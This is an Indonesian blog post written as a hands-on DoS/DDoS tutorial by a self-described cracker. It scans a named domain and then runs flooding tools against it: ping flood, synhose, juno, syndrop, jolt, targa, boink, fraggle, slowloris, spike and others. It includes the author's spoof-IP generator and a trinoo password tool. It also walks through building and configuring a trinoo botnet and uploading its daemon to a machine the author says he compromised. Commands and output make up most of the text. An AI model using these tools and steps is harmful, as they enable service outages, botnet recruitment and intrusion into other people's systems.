Saturday, May 22, 2010

DOS / DDOS Yang Sebenarnya

Yup kembali lagi bersama saya mywisdom kali ini tentang teknik serangan
favorit ala cracker jaman dulu (termasuk saya sendiri seorang cracker) yaitu Remote DOS dan DDOS.
Perhatikan perbedaan DDOS dan DOS:
- ddos dilakukan dari banyak zombie kita yaitu mesin-mesin yang sudah kita owned dan bisa dimanfaatkan untuk serangan
- dos adalah serangan yang berasal hanya dari 1 mesin saja!!!

Sebelum melakukan DOS atau DDOS Anda wajib mengetahui port – port daemon
yang terbuka di target kita, misal kita menggunakan nmap port scanner untuk target kita sec-r1z.com, satu hal yang wajib diingat oleh tiap cracker (nama domain sec-r1z.com hanyalah sekedar contoh)
yang ingin melakukan dos maupun ddos adalah sebaiknya tidak menyerang alamat ip target tapi menyerang domain / hostname karena alamat ip bisa diubah sewaktu-waktu untuk menhindari dos maupun ddos.
Sebelum ddos maupun dos mari kita scan daemon -daemon yang terbuka untuk
celah bagi kita menyerang, berikut ini contoh penggunaan scanning port dengan nmap:

view source
print?
01bt ~ # nmap -A sec-r1z.com -PN
02
03Starting Nmap 4.60 ( http://nmap.org ) at 2010-03-22 04:33 GMT
04Interesting ports on 86-241-63-74.SECURED-BY-SEC4SERVER.COM (74.63.241.86):
05Not shown: 1668 closed ports, 36 filtered ports
06PORT STATE SERVICE VERSION
0721/tcp open ftp PureFTPd
08|_ Anonymous FTP: FTP: Anonymous login allowed
0922/tcp open ssh OpenSSH 4.3 (protocol 2.0)
1025/tcp open smtp Exim smtpd 4.69
11| SMTP: Responded to EHLO command
12| b0x.sec-r1z.com Hello example.org [111.94.9.19]
13| SIZE 52428800
14| PIPELINING
15| AUTH PLAIN LOGIN
16| STARTTLS
17| 250 HELP
18| Responded to HELP command
19| Commands supported:
20|_ AUTH STARTTLS HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP
2153/tcp open domain
22110/tcp open pop3 Courier pop3d
23143/tcp open imap Courier Imapd (released 2008)
24443/tcp open http Apache httpd 2.0.63
25|_ HTML title: Site doesn't have a title.
26465/tcp open ssl/smtp Exim smtpd 4.69
27| SSLv2: server still supports SSLv2
28|_ the server didn't offer any cyphers
29993/tcp open ssl/imap Courier Imapd (released 2008)
30| SSLv2: server still supports SSLv2
31|_ the server didn't offer any cyphers
32995/tcp open ssl/pop3 Courier pop3d
33| SSLv2: server still supports SSLv2
34|_ the server didn't offer any cyphers
353306/tcp open mysql MySQL 5.0.90-community
36| MySQL Server Information: Protocol: 10
37| Version: 5.0.90-community
38| Thread ID: 9230
39| Some Capabilities: Connect with DB, Compress, Transactions, Secure Connection
40| Status: Autocommit
41|_ Salt: @Te"s?}zn9nA:?l"cM6e
42Device type: storage-misc
43Running (JUST GUESSING) : BlueArc embedded (91%)
44Aggressive OS guesses: BlueArc Titan 2100 NAS device (91%)
45No exact OS matches for host (test conditions non-ideal).
46Service Info: Host: b0x.sec-r1z.com
47
48TRACEROUTE (using port 21/tcp)
49HOP RTT ADDRESS
501 0.09 192.168.153.2
512 280.82 86-241-63-74.SECURED-BY-SEC4SERVER.COM (74.63.241.86)
52
53OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
54Nmap done: 1 IP address (1 host up) scanned in 579.436 seconds
55bt ~ #

Ok dari hasil scan ke sec-r1z.com kita bisa lihat kalau port-port berikut ini terbuka sehingga memungkinkan serangan kita:

view source
print?
0121
0222
0325
0453
05110
06143
07443
08465
09993
10995
113306

Jadi kita bisa menggempur target kita ke semua port tersebut.

Tips!!!
Agar DDOS lebih efektif sebaiknya serang semua port daemon yang terbuka
dan bagi yg port 80 open serangan difokuskan lebih ke port 80.

Aneka Tool & Teknik Untuk DOS / DDOS

Asiknya ICMP ATTACK
Ok selanjutnya kita bisa juga melakukan pengujian apakah box tersebut bisa
kita serang dengan icmp packets:

view source
print?
1bt ~ # ping sec-r1z.com
2PING sec-r1z.com (74.63.241.86) 56(84) bytes of data.
364 bytes from 86-241-63-74.SECURED-BY-SEC4SERVER.COM (74.63.241.86): icm=10 ttl=128 time=273 ms
4
5[2]+ Stopped ping sec-r1z.com
6bt ~ #

Ok kita bisa melihat ketika kita ping sec-r1z.com dan ipnya diresolve ke 74.63.241.86 dan juga direply langsung olehnya :
reply 64 bytes dari 74.63.241.86 yang menandakan kita bisa menambahkan efek serangan icmp ke target kita.

Contoh Teknik dasar untuk melakukan ping flood dari root shell unix atau linux kita, ketikkan ini (misal target host adalah sec-r1z.com):

view source
print?
1ping sec-r1z.com -fs 50000
2PING sec-r1z.com (74.63.241.86) 50000(50028) bytes of data.
3.......................................................
4[3]+ Stopped ping sec-r1z.com -fs 50000

Asiknya SYN Attack

syn attack merupakan salah satu metode penyerangan favorit attacker jaman dulu yang memanfaatkan kelemahan three way handsake.
Salah satu tool yang biasa saya pakai untuk syn attack adalah synhose, Di mana synhose ini akan melakukan spoof random ip untuk mengirimkan paket ke target kita, sehingga seolah olah di target kita menerima banyak serangan dari ip yang berbeda.
SEcara default jika tidak diset di argumen maka synhose akan menyerang port 80, bisa kita liat di sourcenya:

view source
print?
1if(port == 0) port = 80;

Misal kita akan menyerang sec-r1z.com di port terbuka 80 dari 10 spoof ip berbeda berikut ini contohnya:

view source
print?
01bt ~ # ./synhose sec-r1z.com 80 10
02SynHose [A random source IP syn flooder]
03Written by knight / Idea by : rza
04
05Destination : sec-r1z.com
06Port : 80
07NumberOfTimes: 10
08
09SynHosing sec-r1z.com at port 80 from 108.248.253.31 port 2884
10SynHosing sec-r1z.com at port 80 from 248.36.16.139 port 4
11SynHosing sec-r1z.com at port 80 from 68.48.179.170 port 409
12SynHosing sec-r1z.com at port 80 from 5.54.172.218 port 9780
13SynHosing sec-r1z.com at port 80 from 156.228.227.167 port 5327
14SynHosing sec-r1z.com at port 80 from 108.99.240.141 port 1746
15SynHosing sec-r1z.com at port 80 from 242.249.38.240 port 924
16SynHosing sec-r1z.com at port 80 from 111.233.60.127 port 4544
17SynHosing sec-r1z.com at port 80 from 60.194.164.239 port 4234
18SynHosing sec-r1z.com at port 80 from 174.243.162.91 port 8044
19bt ~ #

dari result di atas komputer kita mengirimkan paket syn ke sec-r1z.com dengan port tujuan 80 dari berbagai ip, misal yang terakhir dari spoof ip 174.243.162.91 melalui port 8044.

Hanya dari 10 ip tentu kurang sedap bukan?? mari kita serang dari 10000 ip berbeda:

view source
print?
1bt ~ # ./synhose sec-r1z.com 80 10000

ooopssssss :) )

Juno
Juno merupakan syn attack tool yang cukup terkenal, berikut ini adalah contoh cara pakainya (misal target adalah sec-r1z.com di port 80):

view source
print?
1bt ~ # ./juno sec-r1z.com 80
2juno.c by Sorcerer of DALnet
3death to 74.63.241.86:80

syndrop

Syndrop merupakan tool yang mengabungkan syn attack dan teardrop,berikut ini adalah contoh penggunaan syndrop dengan target host sec-r1z:

view source
print?
1bt ~ # ./syndrop 127.0.0.1 sec-r1z.com -s 31337 -t 80 -n 99999999 -S 20 -E 9999
2syndrop by PineKoan
3Death on flaxen wings:
4From: 127.0.0.1.31337
5 To: 74.63.241.86. 80
6 Amt: 99999999
7[ b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b0

--------------------------------------------------------------------------

Jolt

Jika dilihat dari source codenya,Jolt merupakan salah satu tool untuk DOS yang akan mengirimkan paket icmp ke target kita, Pada jaman dahulu kala jolt ini banyak digunakan untuk membekukan server - server windows
jenis serangan adalah pengiriman paket icmp

view source
print?
1icmp->type = ICMP_ECHO;

Berikut ini demo penggunaan jolt:

view source
print?
01bt ~ # ./jolt 74.63.241.86 127.0.0.1 99999999
02Sending to 74.63.241.86
03Sending to 74.63.241.86
04Sending to 74.63.241.86
05Sending to 74.63.241.86
06Sending to 74.63.241.86
07Sending to 74.63.241.86
08Sending to 74.63.241.86
09Sending to 74.63.241.86
10Sending to 74.63.241.86
11Sending to 74.63.241.86
12Sending to 74.63.241.86
13Sending to 74.63.241.86
14Sending to 74.63.241.86
15Sending to 74.63.241.86
16Sending to 74.63.241.86
17Sending to 74.63.241.86
18Sending to 74.63.241.86
19Sending to 74.63.241.86
20Sending to 74.63.241.86
21Sending to 74.63.241.86
22Sending to 74.63.241.86
23Sending to 74.63.241.86
24..................dst

Targa

Targa merupakan tool dos yang merupakan kombinasi dari tool2 ini:

* bonk by route|daemon9 & klepto
* jolt by Jeff W. Roberson (modified by Mixter for overdrop effect)
* land by m3lt
* nestea by humble & ttol
* newtear by route|daemon9
* syndrop by PineKoan
* teardrop by route|daemon9
* winnuke by _eci

header2 file yang digunakan oleh targa cukup repot juga dan tidak ada di backtrack secara default, jadi saya tambahkan sendiri, berikut ini header file saya di /usr/include/netinet sehingga berhasil mengkompile targa.c:

view source
print?
1bt netinet # ls
2ether.h if_ether.h if_tr.h in.h ip.h ip_icmp.h ip_udp.h protocols.h udp.h
3icmp6.h if_fddi.h igmp.h in_systm.h ip6.h ip_tcp.h protocol.h tcp.h
4bt netinet #

Misal kita ingin menyerang seluruh range ip dari range ip 74.63.241.86-74.63.241.88

Berikut ini adalah contohnya:

view source
print?
1bt ~ # ./targa 74.63.241.86 74.63.241.88 -t 0 -n 999999
2 targa 1.0 by Mixter
3Leetness on faxen wings:
4To: 74.63.241.86 - 74.63.241.88
5Repeats: 999999
6 Type: 0
774.63.241.86 [ $$$$$$$$$$$$$$$@@@@@@@@@@@@@@@-----....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................#####################&&&&&&&&&&&&&&&&&&&&&%%%%%%%%%%%%%%%%%%%%%

opsi -t 0 berarti anda menyerang dengan menggunakan gabungan semua teknik.
opsi -n 999999 merupakan jumlah pengulangan sebanyak 999999

Boink
Merupakan tool yang bisa membuat blue screen of death pada mesin-mesin windows 9x dan nt.
Berikut ini contoh cara penggunaanya:

view source
print?
01bt ~ # ./boink 127.0.0.1 74.63.241.86 80 80 99999999999
02(0)74.63.241.86:25->65
03(1)74.63.241.86:25->65
04(2)74.63.241.86:25->65
05(3)74.63.241.86:25->65
06(4)74.63.241.86:25->65
07(5)74.63.241.86:25->65
08(6)74.63.241.86:25->65
09(7)74.63.241.86:25->65
10(8)74.63.241.86:25->65
11(9)74.63.241.86:25->65
12(10)74.63.241.86:25->65
13(11)74.63.241.86:25->65
14(12)74.63.241.86:25->65
15(13)74.63.241.86:25->65
16(14)74.63.241.86:25->65
17(15)74.63.241.86:25->65
18(16)74.63.241.86:25->65
19(17)74.63.241.86:25->65
20(18)74.63.241.86:25->65
21(19)74.63.241.86:25->65
22(20)74.63.241.86:25->65
23(21)74.63.241.86:25->65
24(22)74.63.241.86:25->65
25(23)74.63.241.86:25->65
26(24)74.63.241.86:25->65
27(25)74.63.241.86:25->65
28dst ...........

Asiknya Smurf & UDP Attack

Smurf attack merupakan teknik penyerangan dengan mengirimkan paket icmp yang dispoof ke target kita

Bloop
Merupakan salah satu tool dos dengan metode smurf attack.
Bloop akan mengirimkan paket icmp spoof secara acak ke target kita untuk membuat mesin target crash.

Berikut ini adalah contoh penggunaan bloop:

view source
print?
1bt ~ # ./bloop 127.0.0.1 sec-r1z.com 99999999
2Bloop v 1.0
3
4Status: Connected....packets sent.

Fraggle
Fraggle merupakan tool untuk tipe smurf dos / ddos yang menggunakan suatu file broadcast yang berisi daftar alamat2 ip spoof.

Sebelum menggunakan fraggle kita memerlukan sebuah file broadcast ip spoof, Untuk itu
saya sudah membuat sendiri tool untuk spoof ip generator namanya dimas.c:

filename:dimas.c , programmer: mywisdom

view source
print?
01/*dimas.c random ip generator (public ip and private ip)
02version 1.0
03c0d3r: mywisdom
04greetz:gunslinger,flyff666,kiddies,xtr0nic,whitehat,Danzel and so on
05*/
06#include
07#include
08#include
09void bikin_random_ip()
10 {
11FILE *dom2;
12int a,b,c,d,a2,b2,jum;
13dom2=fopen("ip.txt","w+");
14 for(;;)
15 {
16 srand ( time(NULL) );
17 a = rand ()% 255 ;
18
19 b = rand ()% 255 ;
20
21 c = rand ()% 255 ;
22
23 d = rand ()% 255 ;
24
25 if ( (a != 10) && (a != 172) && (a != 192))
26 {
27 if(dom2!=NULL)
28 {
29 if(a2!=a)
30 {
31 fprintf(dom2,"%d.%d.%d.%d\n",a,b,c,d);
32 }
33 }
34 }
35
36 a2=a;
37 }
38fclose(dom2);
39
40 }
41
42int main ()
43{
44bikin_random_ip();
45return 0;
46}

kompile file di atas dan run untuk membuat file ip spoof dengan nama file: ip.txt

view source
print?
1gcc -o dimas dimas.c
2./dimas

Selanjutnya misal target kita sec-r1z.com, contoh penggunaan fraggle untuk menyerang sec-r1z.com:

view source
print?
1bt ~ # ./fraggle sec-r1z.com ip.txt 2000 900 80 0 99
2
3fraggle.c by TFreak
4
5Flooding sec-r1z.com (. = 25 outgoing packets)
6................................................................................
7Done!
8
9bt ~ #

TCP Attack
Khusus untuk http ddos banyak tool yang bisa kita pakai
misal:
slowloris

slowloris biasanya khusus digunakan untuk menyerang http port
,keunggulan slowloris adalah hanya menggunakan bandwoth yang kecil dari server attacker,
tool ini akan mengirimkan http request dalam ukuran panjang berupa angka random panjang
terlihat dari source codenya:

view source
print?
1if ($cache) {
2 $rand = "?" . int( rand(99999999999999) );
3 }

Contoh penggunaan slowloris untuk menyerang sec-r1z.com :

view source
print?
01bt ~ # ./slowloris.pl -dns www.sec-r1z.com -port 80 -timeout 30 -num 500 -cache
02
03CCCCCCCCCCOOCCOOOOO888@8@8888OOOOCCOOO888888888@@@@@@@@@8@8@@@@888OOCooocccc::::
04CCCCCCCCCCCCCCCOO888@888888OOOCCCOOOO888888888888@88888@@@@@@@888@8OOCCoococc:::
05CCCCCCCCCCCCCCOO88@@888888OOOOOOOOOO8888888O88888888O8O8OOO8888@88@@8OOCOOOCoc::
06CCCCooooooCCCO88@@8@88@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888@8888OOOCc::::
07CooCoCoooCCCO8@88@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
08ooooooCoCCC88@88888@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88@888OCoccc
09ooooCCOO8O888888888@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
10oCCCCCCO8OOOCCCOO88@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
11oCCCCCOOO88OCooCO88@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
12oCCCCOO88OOCCCCOO8@@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
13CCCOOOO88OOCCOOO8@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
14CCCOO88888OOCOO8@@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
15OOOOOO88888OOOO8@8@8Ooc:.:...cOO8O88c. . .coOOO888OOOOCoooooccoCOOOOOCOOOO
16OOOOO888@8@88888888Oo:. . ...cO888Oc.. http://s.wordpress.com/wp-includes/images/smilies/icon_surprised.gif" alt=":o" class="wp-smiley"> OOOOOOOOOCCoocooCoCoCOOOOOOOO
17COOO888@88888888888Oo:. .O8888C: .oCOo. ...cCCCOOOoooooocccooooooooCCCOO
18CCCCOO888888O888888Oo. .o8Oo. .cO88Oo: :. .:..ccoCCCooCooccooccccoooooCCCC
19coooCCO8@88OO8O888Oo:::... .. :cO8Oc. . ..... :. .:ccCoooooccoooocccccooooCCC
20:ccooooCO888OOOO8OOc..:...::. .co8@8Coc::.. .... ..:cooCooooccccc::::ccooCCooC
21.:::coocccoO8OOOOOOC:..::....coCO8@8OOCCOc:... ....:ccoooocccc:::::::::cooooooC
22....::::ccccoCCOOOOOCc......:oCO8@8@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
23.......::::::::cCCCCCCoocc:cO888@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
24...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
25.............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
26 ..... ............. .coocoooCCoco:::ccccccc:::ccc::.......... ....:::cc::::coC
27 . . ... .... .. .:cccoCooc:.. ::cccc:::c:.. ......... ......::::c:cccco
28 . .. ... .. .. .. ..:...:cooc::cccccc:..... ......... .....:::::ccoocc
29 . . .. ..::cccc:.::ccoocc:. ........... .. . ..:::.:::::::ccco
30
31 Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
32
33Defaulting to a 5 second tcp connection timeout.
34Multithreading enabled.
35Connecting to www.sec-r1z.com:80 every 30 seconds with 500 sockets:
36 Building sockets.
37 Building sockets.
38 Building sockets.
39 Building sockets.
40 Building sockets.
41 Building sockets.
42 Building sockets.
43 Building sockets.
44 Building sockets.
45 Building sockets.

Tembak.c
Ini sih tool buat nuke yang udah lama banget buatan anak echo :) ) dah ada dari jaman baheula :) ), ok mari kita coba pakai lagi untuk contoh target sec-r1z.com :

view source
print?
1bt ~ # ./tembak
2
3Kirim Paket ke IP orang
4
5Cara Pake : $ tembak hostname.orang port
6
7bt ~ # ./tembak sec-r1z.com 80
8
9Serbuu....!!!! Hancurkaannn sec-r1z.com ke port 80

httpd_flood.pl
Ini dia nih perl skrip khusus untuk mengantung socket httpd :) ).khusus hanya menyerang http daemon (port 80)
Berikut ini adalah contoh cara pakainya, misal target tbd.my, misal kita menggunakan lama serangan infinite (selamanya) dan kita run di background di salah satu mesin yang kita root:

view source
print?
1./httpd_flood.pl tbd.my -1 99999 -1 &

Teknik Serangan Gabungan
Teknik serangan gabungan ini menggabungkan aneka jenis serangan, Anda bisa coba tool ini: spike
ok mari kita lihat semua tool2 yang digabung menjadi satu teknik serangan mematikan oleh spike:

view source
print?
1bt spike # ls
2README bin/ sources/ spike.sh* spike.sh~*
3bt spike # ls bin
41234* conseal* jolt* latierra* orgasm* spiffit* teardrop*
5beer* dcd3c* kkill* misfrag* pepsi* sping* trash*
6boink* fawx* koc* nestea* pimp* stream* udpdata*
7bonk* gewse* kox* newtear* pong* syndrop* wingatecrash*
8coke* gewse5* land* opentear* smurf* synk*
9bt spike #

sudah anda lihat kan? tool ini menggabungkan berbagai macam ddos tool menjadi 1
Mari kita coba run tool ini untuk attack target kita misal: sec-r1z.com

view source
print?
01bt spike # ./spike.sh sec-r1z.com
02 Main Menu For spike.sh
031] Combo Attacks
042] Pick The Attack
053] Pick The Attack2 (Enter Your Own Info)
064] Class C Attack (Drop A Class C)
075] Never Die (Attacks That Never Die)
086] Clean up (Kill Hung Attacks)
097] Info Menu (Other Info About spike.sh)
108] To Exit Out
11
12Enter The Number Of The Option To Run:

misal kita ingin menggunakan combo attack untuk menyerang target kita
ketikkan 1.

Maka akan muncul pilihan 3 jenis serangan berdasarkan tingkat ganasnya serangan ( kek maen game aja yah hahahaahaha):

view source
print?
1ComboAttack Menu\033[0m
2 1] Light Attack (12 Attacks)
3 2] Medium Attack (20 Attacks)
4 3] Hard Attack (33 Attacks)
5 4] To Exit Out
6
7Enter The Number Of The Option To Run
8#> \c

Misal kita pilih yang hard attack, ketikkan 3 !!!

view source
print?
01ComboAttack Menu\033[0m
02 1] Light Attack (12 Attacks)
03 2] Medium Attack (20 Attacks)
04 3] Hard Attack (33 Attacks)
05 4] To Exit Out
06
07Enter The Number Of The Option To Run
08#> \c
093
10Teadroping.....
11Completed....
12Pimping.....
13Completed....
14Nesteaing.....
15Completed....
16Misfraging.....
17Completed....
18Syndroping.....
19Completed....
20Koxing.....
21Completed....
22NewTearing.....
23Completed....
24Bonking.....
25Completed....
26Fawxing.....
27Completed....
28Trashing.....
29Completed....
30Smurfing....
31Completed....
32Attacking On Hold For BandWidth
33Completed....
34Boinking.....
35Completed....
36Conseal Firewall Attacking.....
37Completed....
38Jolting.....
39Completed....
40Modem +++ DoSing
41dst...

Pembahasan Khusus Tambahan

Trinoo
Trinoo merupakan tool ddos yang sangat populer sejak dulu menggunakan sistem daemon slave sebagai zombie dan master server sebagai pengontrol attack. Ok trinoo ini pada jaman dulu bisa melakukan pengembangan jaringan zombie otomatis dengan scanning range ip poblik lalu melakukan eskploitasi terhadap bug lama wu ftpd , dll untuk dijadikan zombie.
pertama download dulu trinoo dan ekstrak:

view source
print?
1wget http://packetstormsecurity.org/distributed/trinoo.tgz
2tar zxvf trinoo.tgz

Mari saya jelaskan isinya trinoo dan gimana cara kerjanya:

view source
print?
1bt trinoo # ls
2BENSUQS daemon/ master/ password trinoo.tgz

yang ada di folder daemon adalah yang akan kita pasang di zombie kita yaitu mesin2 yang sudah kita owned.

Mengedit dan menyetting daemon trinoo
Untuk mengkompile daemon trinoo ini membutuhkan lib crypt dalam glibc.
Mari kita kompile Daemon trinoo gunakan perintah ini:

view source
print?
1bt daemon # gcc -o ns ns.c -lcrypt
2bt daemon #

Source code asli dari compare password pada daemon trinoo adalah:

view source
print?
1if (strcmp((char *)crypt(pass, "aI"), "aIf3YWfOhw.V.")==0) {

Jadi kita bisa melihat bahwa fungsi:
crypt(pass, “aI”), “aIf3YWfOhw.V.”)
plain text sebelum di crypt sebenarnya adalah: l44adsl

l44adsl ini adalah password default trinoo

crypt ini adalah one way hash yg tidak bisa didekrip sebenarnya.

di mana sintaks fungsi crypt ini adalah:

char * crypt (const char *key, const char *salt)

di mana daemon trinoo ini default akan bind port 27444/udp dengan default password l44adsl

Misal Anda ingin mengganti default password dan default port untuk daemon trinoo, gunakan tool yang saya buat ini:

view source
print?
01/*Devilzc0de trinoo hash generator
02programmer: mywisdom
03*/
04#include
05#include
06int main(int argc, char *argv[])
07{
08char *data;
09
10int hasil;
11 hasil=crypt(argv[1], "aI");
12 printf("trinoo hash anda adalah:%s\n",hasil);
13}

Selanjutnya kompile dan jalankan, misal saya ingin mencari hash dari password: mywisdom

view source
print?
1bt ~ # gcc -o trinoo_hash trinoo_hash.c -lcrypt
2trinoo_hash.c:13:2: warning: no newline at end of file
3bt ~ # ./trinoo_hash mywisdom
4trinoo hash anda adalah:aI3Kc25mvwsN2
5bt ~ #

ok selanjutnya kita edit source daemon di ns.c di mana kita ganti hash password trinoo tadi yg line ini:

view source
print?
1if (strcmp((char *)crypt(pass, "aI"), "aIf3YWfOhw.V.")==0) {

kita akan ubah menjadi:

view source
print?
1if (strcmp((char *)crypt(pass, "aI"), "aI3Kc25mvwsN2")==0) {

yang berarti password default daemon trinoo telah diganti menjadi: mywisdom

Sedangkan untuk mengganti default port trinoo misal kita mao ubah jadi port: 31337
kita ubah line ini di ns.c:

view source
print?
1sa.sin_port = htons(27444);

menjadi:

view source
print?
1sa.sin_port = htons(31337);

TErakhir jangan lupa setting alamat ip master dengan mengedit line berikut ini diganti alamat ip masternya:

view source
print?
1char *master[] = {
2 "129.237.122.40",
3 "207.228.116.19",
4 "209.74.175.130",
5 NULL

penting!!! jangan lupa diganti alamat ip masternya klo gak tar jadi zombie orang!!!!

Selanjutnya kompile ulang daemon trinoo anda:

view source
print?
1gcc -o ns ns.c -lcrypt

Ok selanjutnya silahkan upload dan run ke mesin yang sudah kita owned , misal:

view source
print?
01bt daemon # ftp pcorders.com
02Connected to pcorders.com.
03220 ns3.pcorders.com FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
04Name (pcorders.com:root): mywisdom
05331 Password required for mywisdom.
06Password:
07230 User mywisdom logged in.
08Remote system type is UNIX.
09Using binary mode to transfer files.
10ftp> put ns
11local: ns remote: ns
12200 PORT command successful.
13553 ns: Permission denied.
14ftp> cd /tmp
15250 CWD command successful.
16ftp> put ns
17local: ns remote: ns
18200 PORT command successful.
19150 Opening BINARY mode data connection for ns.
20226 Transfer complete.
2110814 bytes sent in 0.00175 secs (6.1e+03 Kbytes/sec)
22ftp>
23ftp> quit
24221-You have transferred 10814 bytes in 1 files.
25221-Total traffic for this session was 11363 bytes in 1 transfers.
26221-Thank you for using the FTP service on ns3.pcorders.com.
27221 Goodbye.
28bt daemon # telnet pcorders.com
29Trying 204.181.205.145...
30Connected to pcorders.com.
31Escape character is '^]'.
32
33Red Hat Linux release 6.1 (Cartman)
34Kernel 2.2.12-20 on an i686
35mlogin: mywisdom
36Password:
37Last login: Wed May 5 02:10:58 from 105.subnet125-160-218.speedy.telkom.net.id
38[admin@ns3 admin]$ ptrace
39[t@ns3 admin]# cd /tmp
40[t@ns3 /tmp]# ./ns
41sh: ./ns: Permission denied
42[t@ns3 /tmp]# chmod +x ns
43[t@ns3 /tmp]# ./ns

Ok sudah run secara demonize di mesin slave kita , mari kita liat bind portnya:

view source
print?
01[t@ns3 /tmp]# netstat -a | grep udp
02udp 0 0 *:1161 *:*
03udp 0 0 *:1160 *:*
04udp 0 0 *:1159 *:*
05udp 0 0 *:27444 *:*
06udp 224 0 ns3.pcorders.com:1156 192.168.1.1:domain ESTABLISHED
07udp 224 0 ns3.pcorders.com:1155 192.168.1.1:domain ESTABLISHED
08udp 0 0 *:ntalk *:*
09udp 0 0 *:talk *:*
10udp 0 0 *:sunrpc *:*
11[t@ns3 /tmp]#

ok keliatan kan ada listening port udp 27444?
Ok selanjutnya kita compile dan run daemon master di mesin yang kita owned yang mao kita jadikan master slave

Untuk mengganti password default master lakukan langkah yang sama tapi line yg diganti adalah file master.c ini:

#define CRYPTKEY “ZsoTN.cq4X31″

ok misal saya install masternya di alamat ip x.x.x.x:

view source
print?
01http://yoyoparty.com/upload/
02mywisdom@trin00-king~#make
03gcc -o master master.c blowfish.c -lcrypt
04blowfish.c: In function 'blowfish_init':
05blowfish.c:131: warning: incompatible implicit declaration of built-in function 'strncpy'
06blowfish.c: In function 'encrypt_string':
07blowfish.c:192: warning: incompatible implicit declaration of built-in function 'strlen'
08blowfish.c:194: warning: incompatible implicit declaration of built-in function 'strcpy'
09blowfish.c: In function 'decrypt_string':
10blowfish.c:232: warning: incompatible implicit declaration of built-in function 'strlen'
11blowfish.c:234: warning: incompatible implicit declaration of built-in function 'strcpy'
12strip master
13mywisdom@trin00-king~#./master
14??

ok instalasi trinoo master di x.x.x.x selesai,selanjutnya untuk mengakses trinoo shell dari localhost attacker :

view source
print?
1mywisdom@trin00-king~#telnet x.x.x.x 27665
